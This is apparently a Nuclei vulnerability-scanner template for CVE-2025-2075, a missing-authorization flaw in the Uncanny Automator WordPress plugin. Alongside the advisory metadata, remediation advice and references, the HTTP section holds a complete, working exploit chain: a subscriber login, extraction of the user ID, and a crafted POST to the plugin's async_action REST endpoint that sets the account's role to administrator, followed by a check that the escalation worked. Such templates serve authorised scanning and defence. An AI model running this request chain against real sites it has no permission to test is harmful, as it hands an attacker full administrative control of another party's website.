id: CVE-2025-2075

info:
  name: Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.
  remediation: |
    Update to version 6.4.0 or later to remediate this vulnerability.
  reference:
    - https://www.wordfence.com/blog/2025/04/50000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-uncanny-automator-wordpress-plugin/
    - https://plugins.trac.wordpress.org/changeset/3257300/uncanny-automator/trunk/src/core/classes/class-background-actions.php
    - https://plugins.trac.wordpress.org/changeset/3265280/uncanny-automator/trunk/src/core/classes/class-background-actions.php
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2075
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-2075
    cwe-id: CWE-862
    epss-score: 0.16174
    epss-percentile: 0.18784
  metadata:
    verified: true
    max-request: 4
    publicwww-query: "/wp-content/plugins/uncanny-automator/"
    fofa-query: body="/wp-content/plugins/uncanny-automator/"
  tags: cve,cve2025,wordpress,wp-plugin,authenticated,wp,uncanny-automator

variables:
  username: "{{username}}"
  password: "{{password}}"

http:

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - '/wp-admin'
          - 'wordpress_logged_in'
        condition: and

      - type: status
        status:
          - 302

  - raw:
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: user_id
        group: 1
        regex:
          - 'var userSettings.*"uid":"([0-9]+)"'

  - raw:
      - |
        POST /wp-json/uap/v2/async_action/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_id={{user_id}}&action_data%5Bmeta%5D%5Bintegration%5D=aa&action_data%5Bmeta%5D%5Bcode%5D=USERROLE&action_data%5Bmeta%5D%5BWPROLE%5D=administrator&recipe_id=&args=&action_data%5BID%5D=

    matchers:
      - type: status
        status:
          - 200

  - raw:
      - |
        GET /wp-admin/users.php?role=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Howdy,'
          - '>Select {{username}}<'
        condition: and
# digest: 4a0a0047304502204410c16d321a249adcb8dad19cd1d1cb1802d70433266341d28e9313bfec83ed022100b98b6215b7a708dfe19880c5785688faa8d9cc6d7019d6cc9756f73d5b7e3f7a:922c64590222798bb761d5b6d8e72950